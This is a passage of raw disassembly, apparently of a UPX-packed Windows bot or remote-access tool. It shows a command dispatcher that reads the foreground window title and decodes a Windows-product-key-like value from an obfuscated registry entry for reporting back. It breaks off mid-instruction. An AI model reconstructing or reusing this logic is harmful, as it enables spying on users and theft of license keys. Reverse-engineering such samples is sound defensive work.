sub_40A5BE+C7j xor al, al jmp short locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A69E: ; CODE XREF: sub_40A5BE+A6j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 2Ah jnz short loc_40A6E7 and [ebp+var_4], 0 jmp short loc_40A6B6 ; --------------------------------------------------------------------------- loc_40A6AF: ; CODE XREF: sub_40A5BE:loc_40A6E5j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40A6B6: ; CODE XREF: sub_40A5BE+EFj mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] add eax, [ebp+var_4] push eax call sub_40A5BE pop ecx pop ecx movzx eax, al test eax, eax jz short loc_40A6D4 mov al, 1 jmp short locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A6D4: ; CODE XREF: sub_40A5BE+110j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A6E5 xor al, al jmp short locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A6E5: ; CODE XREF: sub_40A5BE+121j jmp short loc_40A6AF ; --------------------------------------------------------------------------- loc_40A6E7: ; CODE XREF: sub_40A5BE+E9j xor al, al locret_40A6E9: ; CODE XREF: sub_40A5BE+1Aj ; sub_40A5BE+39j ... leave retn sub_40A5BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A6EB proc near ; CODE XREF: sub_4097A7+10Ap ; sub_4098F3+155p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A730 mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A70A mov al, 1 jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A70A: ; CODE XREF: sub_40A6EB+16j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 2Ah jnz short loc_40A729 mov eax, [ebp+arg_4] inc eax push eax push [ebp+arg_0] call sub_40A6EB pop ecx pop ecx jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A729: ; CODE XREF: sub_40A6EB+28j xor al, al jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A730: ; CODE XREF: sub_40A6EB+Cj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A741 xor al, al jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A741: ; CODE XREF: sub_40A6EB+4Dj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_4] movsx ecx, byte ptr [ecx] cmp eax, ecx jnz short loc_40A767 mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A6EB pop ecx pop ecx jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A767: ; CODE XREF: sub_40A6EB+64j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 41h jl short loc_40A77D mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 5Ah jle short loc_40A793 loc_40A77D: ; CODE XREF: sub_40A6EB+85j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 61h jl short loc_40A7BC mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 7Ah jg short loc_40A7BC loc_40A793: ; CODE XREF: sub_40A6EB+90j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] xor eax, 20h mov ecx, [ebp+arg_4] movsx ecx, byte ptr [ecx] cmp eax, ecx jnz short loc_40A7BC mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A6EB pop ecx pop ecx jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A7BC: ; CODE XREF: sub_40A6EB+9Bj ; sub_40A6EB+A6j ... mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 3Fh jnz short loc_40A7DD mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A6EB pop ecx pop ecx jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A7DD: ; CODE XREF: sub_40A6EB+DAj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 23h jnz short loc_40A820 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 30h jl short loc_40A7FE mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 39h jle short loc_40A809 loc_40A7FE: ; CODE XREF: sub_40A6EB+106j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 23h jnz short loc_40A81C loc_40A809: ; CODE XREF: sub_40A6EB+111j mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A6EB pop ecx pop ecx jmp short locret_40A86B ; --------------------------------------------------------------------------- loc_40A81C: ; CODE XREF: sub_40A6EB+11Cj xor al, al jmp short locret_40A86B ; --------------------------------------------------------------------------- loc_40A820: ; CODE XREF: sub_40A6EB+FBj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 2Ah jnz short loc_40A869 and [ebp+var_4], 0 jmp short loc_40A838 ; --------------------------------------------------------------------------- loc_40A831: ; CODE XREF: sub_40A6EB:loc_40A867j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40A838: ; CODE XREF: sub_40A6EB+144j mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] add eax, [ebp+var_4] push eax call sub_40A6EB pop ecx pop ecx movzx eax, al test eax, eax jz short loc_40A856 mov al, 1 jmp short locret_40A86B ; --------------------------------------------------------------------------- loc_40A856: ; CODE XREF: sub_40A6EB+165j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A867 xor al, al jmp short locret_40A86B ; --------------------------------------------------------------------------- loc_40A867: ; CODE XREF: sub_40A6EB+176j jmp short loc_40A831 ; --------------------------------------------------------------------------- loc_40A869: ; CODE XREF: sub_40A6EB+13Ej xor al, al locret_40A86B: ; CODE XREF: sub_40A6EB+1Aj ; sub_40A6EB+39j ... leave retn sub_40A6EB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A86D proc near ; CODE XREF: sub_40A8AD+FDp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov [ebp+var_4], 1 cmp [ebp+arg_4], 0 jnz short loc_40A884 push 1 pop eax jmp short locret_40A8AB ; --------------------------------------------------------------------------- loc_40A884: ; CODE XREF: sub_40A86D+10j mov [ebp+var_8], 1 jmp short loc_40A894 ; --------------------------------------------------------------------------- loc_40A88D: ; CODE XREF: sub_40A86D+39j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_40A894: ; CODE XREF: sub_40A86D+1Ej mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] loc_40A89A: ; DATA XREF: UPX1:0041AE78o ; UPX1:0041AEBCo ... jg short loc_40A8A8 mov eax, [ebp+var_4] imul eax, [ebp+arg_0] mov [ebp+var_4], eax jmp short loc_40A88D ; --------------------------------------------------------------------------- loc_40A8A8: ; CODE XREF: sub_40A86D:loc_40A89Aj mov eax, [ebp+var_4] locret_40A8AB: ; CODE XREF: sub_40A86D+15j leave retn sub_40A86D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A8AD proc near ; CODE XREF: sub_406509+26p ; sub_40A9CF+193Fp ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push esi push edi mov [ebp+var_4], 1 and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_20], 0 mov esi, offset aAbcdef ; "abcdef" lea edi, [ebp+var_1C] movsd movsw movsb mov eax, [ebp+arg_0] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 30h jnz short loc_40A90C mov eax, [ebp+var_20] inc eax mov [ebp+var_20], eax mov eax, [ebp+arg_0] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 78h jz short loc_40A905 mov eax, [ebp+arg_0] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 58h jnz short loc_40A90C loc_40A905: ; CODE XREF: sub_40A8AD+48j mov eax, [ebp+var_20] inc eax mov [ebp+var_20], eax loc_40A90C: ; CODE XREF: sub_40A8AD+33j ; sub_40A8AD+56j push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_28], eax mov eax, [ebp+var_20] mov [ebp+var_14], eax jmp short loc_40A927 ; --------------------------------------------------------------------------- loc_40A920: ; CODE XREF: sub_40A8AD+116j mov eax, [ebp+var_14] inc eax mov [ebp+var_14], eax loc_40A927: ; CODE XREF: sub_40A8AD+71j mov eax, [ebp+var_14] cmp eax, [ebp+var_28] jge loc_40A9C8 mov eax, [ebp+arg_0] add eax, [ebp+var_14] movsx eax, byte ptr [eax] push eax call sub_416DE4 ; tolower pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 30h jl short loc_40A95D cmp [ebp+var_8], 39h jg short loc_40A95D mov eax, [ebp+var_8] sub eax, 30h mov [ebp+var_10], eax jmp short loc_40A9A0 ; --------------------------------------------------------------------------- loc_40A95D: ; CODE XREF: sub_40A8AD+9Dj ; sub_40A8AD+A3j cmp [ebp+var_8], 61h jl short loc_40A99C cmp [ebp+var_8], 66h jg short loc_40A99C and [ebp+var_24], 0 jmp short loc_40A976 ; --------------------------------------------------------------------------- loc_40A96F: ; CODE XREF: sub_40A8AD:loc_40A998j mov eax, [ebp+var_24] inc eax mov [ebp+var_24], eax loc_40A976: ; CODE XREF: sub_40A8AD+C0j mov eax, [ebp+var_24] movsx eax, [ebp+eax+var_1C] test eax, eax jz short loc_40A99A mov eax, [ebp+var_24] movsx eax, [ebp+eax+var_1C] cmp [ebp+var_8], eax jnz short loc_40A998 mov eax, [ebp+var_24] add eax, 0Ah mov [ebp+var_10], eax loc_40A998: ; CODE XREF: sub_40A8AD+E0j jmp short loc_40A96F ; --------------------------------------------------------------------------- loc_40A99A: ; CODE XREF: sub_40A8AD+D3j jmp short loc_40A9A0 ; --------------------------------------------------------------------------- loc_40A99C: ; CODE XREF: sub_40A8AD+B4j ; sub_40A8AD+BAj xor eax, eax jmp short loc_40A9CB ; --------------------------------------------------------------------------- loc_40A9A0: ; CODE XREF: sub_40A8AD+AEj ; sub_40A8AD:loc_40A99Aj mov eax, [ebp+var_28] sub eax, [ebp+var_14] dec eax push eax push 10h call sub_40A86D pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] imul eax, [ebp+var_10] mov ecx, [ebp+var_C] add ecx, eax mov [ebp+var_C], ecx jmp loc_40A920 ; --------------------------------------------------------------------------- loc_40A9C8: ; CODE XREF: sub_40A8AD+80j mov eax, [ebp+var_C] loc_40A9CB: ; CODE XREF: sub_40A8AD+F1j pop edi pop esi leave retn sub_40A8AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A9CF proc near ; CODE XREF: sub_40D871+C95p ; sub_40D871+D9Cp var_6424 = dword ptr -6424h var_6420 = dword ptr -6420h var_641C = dword ptr -641Ch var_6418 = dword ptr -6418h var_6414 = dword ptr -6414h var_6410 = dword ptr -6410h var_640C = dword ptr -640Ch var_6408 = dword ptr -6408h var_6404 = dword ptr -6404h var_6400 = dword ptr -6400h var_63FC = dword ptr -63FCh var_63F8 = dword ptr -63F8h var_63F4 = dword ptr -63F4h var_63F0 = dword ptr -63F0h var_63EC = dword ptr -63ECh var_63E8 = dword ptr -63E8h var_63E4 = dword ptr -63E4h var_63E0 = dword ptr -63E0h var_63DC = dword ptr -63DCh var_63D8 = dword ptr -63D8h var_63D4 = dword ptr -63D4h var_63D0 = dword ptr -63D0h var_63CC = dword ptr -63CCh var_63C8 = dword ptr -63C8h var_63C4 = dword ptr -63C4h var_63C0 = dword ptr -63C0h var_63BC = dword ptr -63BCh var_63B8 = dword ptr -63B8h var_63B4 = word ptr -63B4h var_63B2 = word ptr -63B2h var_63B0 = dword ptr -63B0h var_63A4 = dword ptr -63A4h var_63A0 = byte ptr -63A0h var_639C = dword ptr -639Ch var_6398 = byte ptr -6398h var_6397 = byte ptr -6397h var_6396 = byte ptr -6396h var_6395 = byte ptr -6395h var_6394 = byte ptr -6394h var_6393 = byte ptr -6393h var_6392 = byte ptr -6392h var_6391 = byte ptr -6391h var_6390 = byte ptr -6390h var_638F = byte ptr -638Fh var_638E = byte ptr -638Eh var_638D = byte ptr -638Dh var_638C = dword ptr -638Ch var_6388 = byte ptr -6388h var_5F84 = dword ptr -5F84h var_5F80 = byte ptr -5F80h var_5B7C = dword ptr -5B7Ch var_5B78 = dword ptr -5B78h var_5B74 = byte ptr -5B74h var_5A70 = dword ptr -5A70h var_5A6C = dword ptr -5A6Ch var_5A68 = dword ptr -5A68h var_5A64 = byte ptr -5A64h var_1A64 = dword ptr -1A64h var_1A60 = byte ptr -1A60h var_A60 = dword ptr -0A60h var_A5C = byte ptr -0A5Ch var_A38 = byte ptr -0A38h var_A30 = dword ptr -0A30h var_A2C = dword ptr -0A2Ch var_A28 = dword ptr -0A28h var_A24 = dword ptr -0A24h var_A20 = dword ptr -0A20h var_A1C = dword ptr -0A1Ch var_A18 = byte ptr -0A18h var_9F8 = dword ptr -9F8h var_9F4 = byte ptr -9F4h var_9EF = byte ptr -9EFh var_9EA = byte ptr -9EAh var_9E5 = byte ptr -9E5h var_9E0 = byte ptr -9E0h var_9DB = byte ptr -9DBh var_9D8 = byte ptr -9D8h var_9A4 = byte ptr -9A4h var_970 = byte ptr -970h var_8DC = dword ptr -8DCh var_8D8 = byte ptr -8D8h var_8D3 = byte ptr -8D3h var_8D2 = byte ptr -8D2h var_8CD = byte ptr -8CDh var_8CC = byte ptr -8CCh var_8C7 = byte ptr -8C7h var_8C6 = byte ptr -8C6h var_8C1 = byte ptr -8C1h var_8C0 = byte ptr -8C0h var_8BB = byte ptr -8BBh var_8B8 = byte ptr -8B8h var_8A0 = byte ptr -8A0h var_720 = dword ptr -720h var_71C = dword ptr -71Ch var_718 = byte ptr -718h var_59B = byte ptr -59Bh var_598 = byte ptr -598h var_418 = dword ptr -418h var_414 = byte ptr -414h var_214 = byte ptr -214h var_1F0 = byte ptr -1F0h var_1CC = byte ptr -1CCh var_1A8 = dword ptr -1A8h var_1A4 = byte ptr -1A4h var_183 = byte ptr -183h var_83 = dword ptr -83h var_7F = byte ptr -7Fh var_19 = byte ptr -19h var_B = byte ptr -0Bh var_8 = byte ptr -8 var_5 = dword ptr -5 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp mov eax, 6424h call sub_416BC0 push esi push edi mov eax, [ebp+arg_14] push dword ptr [eax] call sub_40ED38 pop ecx mov [ebp+var_1A8], eax push [ebp+arg_0] lea eax, [ebp+var_1A4] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push [ebp+arg_8] lea eax, [ebp+var_183] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+arg_C] mov [ebp+var_83], eax push 7Ah push [ebp+arg_10] lea eax, [ebp+var_7F] push eax call sub_416B52 ; memcpy add esp, 0Ch mov [ebp+var_5], 1 mov eax, [ebp+var_1A8] sub eax, ds:dword_419F18 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40AA59 lea eax, [ebp+var_1A4] push eax call sub_415AF0 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AA59: ; CODE XREF: sub_40A9CF+76j mov eax, [ebp+var_1A8] sub eax, ds:dword_419F0C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40AACF mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40AAAC lea eax, [ebp+var_214] push eax lea eax, [ebp+var_1F0] push eax lea eax, [ebp+var_1CC] push eax call sub_40668F add esp, 0Ch lea eax, [ebp+var_1CC] push eax push offset dword_419F04 call sub_40D6CB pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AAAC: ; CODE XREF: sub_40A9CF+A6j mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_40D7E5 pop ecx mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_419F04 call sub_40D6CB pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AACF: ; CODE XREF: sub_40A9CF+9Dj mov eax, [ebp+var_1A8] sub eax, ds:dword_419EF8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40AB21 push 200h lea eax, [ebp+var_414] push eax call ds:dword_4171D8 ; GetForegroundWindow push eax call ds:dword_4171E4 ; GetWindowTextA test eax, eax jle short loc_40AB1C lea eax, [ebp+var_414] push eax push offset dword_419EDC lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40AB1C: ; CODE XREF: sub_40A9CF+130j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AB21: ; CODE XREF: sub_40A9CF+113j mov eax, [ebp+var_1A8] sub eax, ds:dword_419ED0 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40AB56 mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_4077DD add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AB56: ; CODE XREF: sub_40A9CF+165j mov eax, [ebp+var_1A8] sub eax, ds:dword_419EC4 neg eax sbb eax, eax inc eax test eax, eax jz loc_40AC89 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jz loc_40AC84 push 180h mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_598] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_598] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_418], eax cmp [ebp+var_418], 3 jle short loc_40ABFE push offset dword_419EC0 mov eax, [ebp+var_418] lea eax, [ebp+eax+var_59B] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_40ABFE mov eax, [ebp+var_418] and [ebp+eax+var_59B], 0 lea eax, [ebp+var_598] push eax call sub_4078A0 pop ecx lea eax, [ebp+var_598] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_418], eax loc_40ABFE: ; CODE XREF: sub_40A9CF+1E1j ; sub_40A9CF+1FFj mov eax, [ebp+var_418] cdq push 4 pop ecx idiv ecx mov ecx, [ebp+var_418] sub ecx, eax cmp ecx, 180h jbe short loc_40AC1F jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AC1F: ; CODE XREF: sub_40A9CF+249j push [ebp+var_418] lea eax, [ebp+var_598] push eax call sub_40EF29 pop ecx pop ecx push [ebp+var_418] lea eax, [ebp+var_598] push eax call sub_40EF59 pop ecx pop ecx mov [ebp+var_418], eax push [ebp+var_418] lea eax, [ebp+var_718] push eax lea eax, [ebp+var_598] push eax call sub_40EB4E add esp, 0Ch lea eax, [ebp+var_718] push eax push offset dword_419E9C lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40AC84: ; CODE XREF: sub_40A9CF+1A7j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AC89: ; CODE XREF: sub_40A9CF+19Aj mov eax, [ebp+var_1A8] sub eax, ds:dword_419E90 neg eax sbb eax, eax inc eax test eax, eax jz loc_40AD84 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jz loc_40AD7F mov eax, [ebp+arg_18] mov eax, [eax+4] movsx eax, byte ptr [eax] cmp eax, 3Dh jnz loc_40AD7F mov eax, [ebp+arg_18] mov eax, [eax+4] inc eax push eax call sub_40EC96 pop ecx test eax, eax jz loc_40AD7F mov eax, [ebp+arg_18] mov eax, [eax+4] inc eax push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_71C], eax mov eax, [ebp+var_71C] cdq push 4 pop ecx idiv ecx mov ecx, [ebp+var_71C] sub ecx, eax cmp ecx, 180h jbe short loc_40AD0C jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AD0C: ; CODE XREF: sub_40A9CF+336j lea eax, [ebp+var_8A0] push eax mov eax, [ebp+arg_18] mov eax, [eax+4] inc eax push eax call sub_40E9C9 pop ecx pop ecx mov [ebp+var_720], eax push [ebp+var_720] lea eax, [ebp+var_8A0] push eax call sub_40F040 pop ecx pop ecx mov [ebp+var_720], eax push [ebp+var_720] lea eax, [ebp+var_8A0] push eax call sub_40EF41 pop ecx pop ecx mov eax, [ebp+var_720] and [ebp+eax+var_8A0], 0 lea eax, [ebp+var_8A0] push eax push offset dword_419E70 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40AD7F: ; CODE XREF: sub_40A9CF+2DAj ; sub_40A9CF+2ECj ... jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AD84: ; CODE XREF: sub_40A9CF+2CDj mov eax, [ebp+var_1A8] sub eax, ds:dword_419E60 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40ADB2 mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_406643 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40ADB2: ; CODE XREF: sub_40A9CF+3C8j mov eax, [ebp+var_1A8] sub eax, ds:dword_419E50 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40ADD9 lea eax, [ebp+var_1A4] push eax call sub_4064BF pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40ADD9: ; CODE XREF: sub_40A9CF+3F6j mov eax, [ebp+var_1A8] sub eax, ds:dword_419E48 neg eax sbb eax, eax inc eax test eax, eax jz loc_40B0B6 and [ebp+var_9F8], 0 mov [ebp+var_A1C], 0C8h push 0Ch pop ecx mov esi, offset aKnqQxjnuXxQEBZ ; "ªŸ¼Ÿ•†ž»ß•帚ɟ¶…¿¡º°§µ…–¸Ã‹ªÓ‹°¼†¼‚±"... lea edi, [ebp+var_9D8] rep movsd movsb push 5 pop ecx mov esi, offset dword_419DFC lea edi, [ebp+var_8B8] rep movsd movsb lea eax, [ebp+var_9D8] push eax call sub_4105FB pop ecx lea eax, [ebp+var_9F8] push eax push 20019h push 0 lea eax, [ebp+var_9D8] push eax push 80000002h call ds:dword_417008 ; RegOpenKeyExA test eax, eax jz short loc_40AE7D lea eax, [ebp+var_9D8] push eax call sub_4105AD pop ecx cmp [ebp+var_9F8], 0 jz short loc_40AE78 push [ebp+var_9F8] call ds:dword_417028 ; RegCloseKey loc_40AE78: ; CODE XREF: sub_40A9CF+49Bj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AE7D: ; CODE XREF: sub_40A9CF+485j lea eax, [ebp+var_9D8] push eax call sub_4105AD pop ecx lea eax, [ebp+var_8B8] push eax call sub_4105FB pop ecx lea eax, [ebp+var_A1C] push eax lea eax, [ebp+var_9A4] push eax push 0 push 0 lea eax, [ebp+var_8B8] push eax push [ebp+var_9F8] call ds:dword_41700C ; RegQueryValueExA test eax, eax jz short loc_40AEE7 lea eax, [ebp+var_8B8] push eax call sub_4105AD pop ecx cmp [ebp+var_9F8], 0 jz short loc_40AEE2 push [ebp+var_9F8] call ds:dword_417028 ; RegCloseKey loc_40AEE2: ; CODE XREF: sub_40A9CF+505j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AEE7: ; CODE XREF: sub_40A9CF+4EFj lea eax, [ebp+var_8B8] push eax call sub_4105AD pop ecx push [ebp+var_9F8] call ds:dword_417028 ; RegCloseKey push 7 pop ecx mov esi, offset dword_419DDC lea edi, [ebp+var_A18] rep movsd movsb lea eax, [ebp+var_A18] push eax call sub_4105FB pop ecx and [ebp+var_9DB], 0 mov [ebp+var_8DC], 18h jmp short loc_40AF3E ; --------------------------------------------------------------------------- loc_40AF31: ; CODE XREF: sub_40A9CF+60Bj mov eax, [ebp+var_8DC] dec eax mov [ebp+var_8DC], eax loc_40AF3E: ; CODE XREF: sub_40A9CF+560j cmp [ebp+var_8DC], 0 jl loc_40AFDF and [ebp+var_A20], 0 mov [ebp+var_A24], 0Eh jmp short loc_40AF6B ; --------------------------------------------------------------------------- loc_40AF5E: ; CODE XREF: sub_40A9CF+5EFj mov eax, [ebp+var_A24] dec eax mov [ebp+var_A24], eax loc_40AF6B: ; CODE XREF: sub_40A9CF+58Dj cmp [ebp+var_A24], 0 jl short loc_40AFC0 mov eax, [ebp+var_A20] shl eax, 8 mov ecx, [ebp+var_A24] movzx ecx, [ebp+ecx+var_970] add eax, ecx mov [ebp+var_A20], eax mov eax, [ebp+var_A20] cdq push 18h pop ecx idiv ecx mov ecx, [ebp+var_A24] mov [ebp+ecx+var_970], al mov eax, [ebp+var_A20] cdq push 18h pop ecx idiv ecx mov [ebp+var_A20], edx jmp short loc_40AF5E ; --------------------------------------------------------------------------- loc_40AFC0: ; CODE XREF: sub_40A9CF+5A3j mov eax, [ebp+var_8DC] mov ecx, [ebp+var_A20] mov cl, [ebp+ecx+var_A18] mov [ebp+eax+var_9F4], cl jmp loc_40AF31 ; --------------------------------------------------------------------------- loc_40AFDF: ; CODE XREF: sub_40A9CF+576j lea eax, [ebp+var_A18] push eax call sub_4105AD pop ecx and [ebp+var_8BB], 0 mov [ebp+var_8C1], 2Dh mov al, [ebp+var_8C1] mov [ebp+var_8C7], al mov al, [ebp+var_8C7] mov [ebp+var_8CD], al mov al, [ebp+var_8CD] mov [ebp+var_8D3], al push 5 lea eax, [ebp+var_9F4] push eax lea eax, [ebp+var_8D8] push eax call sub_416B52 ; memcpy add esp, 0Ch push 5 lea eax, [ebp+var_9EF] push eax lea eax, [ebp+var_8D2] push eax call sub_416B52 ; memcpy add esp, 0Ch push 5 lea eax, [ebp+var_9EA] push eax lea eax, [ebp+var_8CC] push eax call sub_416B52 ; memcpy add esp, 0Ch push 5 lea eax, [ebp+var_9E5] push eax lea eax, [ebp+var_8C6] push eax call sub_416B52 ; memcpy add esp, 0Ch push 5 lea eax, [ebp+var_9E0] push eax lea eax, [ebp+var_8C0] push eax call sub_416B52 ; memcpy add esp, 0Ch lea eax, [ebp+var_8D8] push eax push offset dword_418B64 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B0B6: ; CODE XREF: sub_40A9CF+41Dj mov eax, [ebp+var_1A8] sub eax, ds:dword_419DCC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B11C mov [ebp+var_8], 1 movsx eax, [ebp+var_19] test eax, eax jz short loc_40B0E6 lea eax, [ebp+var_1A4] push eax call sub_411D68 pop ecx jmp short loc_40B117 ; --------------------------------------------------------------------------- loc_40B0E6: ; CODE XREF: sub_40A9CF+706j movsx eax, [ebp+var_B] test eax, eax jz short loc_40B0FD lea eax, [ebp+var_1A4] push eax call sub_4123F6 pop ecx jmp short loc_40B117 ; --------------------------------------------------------------------------- loc_40B0FD: ; CODE XREF: sub_40A9CF+71Dj lea eax, [ebp+var_1A4] push eax call sub_411D68 pop ecx lea eax, [ebp+var_1A4] push eax call sub_4123F6 pop ecx loc_40B117: ; CODE XREF: sub_40A9CF+715j ; sub_40A9CF+72Cj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B11C: ; CODE XREF: sub_40A9CF+6FAj mov eax, [ebp+var_1A8] sub eax, ds:dword_419DBC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B143 lea eax, [ebp+var_1A4] push eax call sub_414EB0 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B143: ; CODE XREF: sub_40A9CF+760j mov eax, [ebp+var_1A8] sub eax, ds:dword_419DB0 neg eax sbb eax, eax inc eax test eax, eax jz loc_40B247 push 8 pop ecx mov esi, offset dword_419D8C lea edi, [ebp+var_A5C] rep movsd movsb mov esi, offset dword_419D84 lea edi, [ebp+var_A38] movsd movsw movsx eax, [ebp+var_A38] mov ecx, ds:off_41DB18 movsx ecx, byte ptr [ecx] sub eax, ecx neg eax sbb eax, eax inc eax mov [ebp+var_A30], eax cmp [ebp+var_A30], 0 jz short loc_40B1AD mov [ebp+var_63E4], offset dword_419D78 jmp short loc_40B1B7 ; --------------------------------------------------------------------------- loc_40B1AD: ; CODE XREF: sub_40A9CF+7D0j mov [ebp+var_63E4], offset dword_419D68 loc_40B1B7: ; CODE XREF: sub_40A9CF+7DCj mov eax, [ebp+var_63E4] mov [ebp+var_A28], eax cmp [ebp+var_A30], 0 jz short loc_40B1D8 mov [ebp+var_63E8], offset aThisBuildIsFul ; "This build is fully functional" jmp short loc_40B1E2 ; --------------------------------------------------------------------------- loc_40B1D8: ; CODE XREF: sub_40A9CF+7FBj mov [ebp+var_63E8], offset aThisBuildIsBro ; "This build is broken and will not funct"... loc_40B1E2: ; CODE XREF: sub_40A9CF+807j mov eax, [ebp+var_63E8] mov [ebp+var_A2C], eax lea eax, [ebp+var_A5C] push eax call sub_4105FB pop ecx push [ebp+var_A2C] push [ebp+var_A28] mov eax, ds:dword_41ED00 and eax, 0FFFFh push eax movsx eax, byte ptr ds:dword_41DAF8 and eax, 0FFh push eax lea eax, [ebp+var_A5C] push eax lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 18h lea eax, 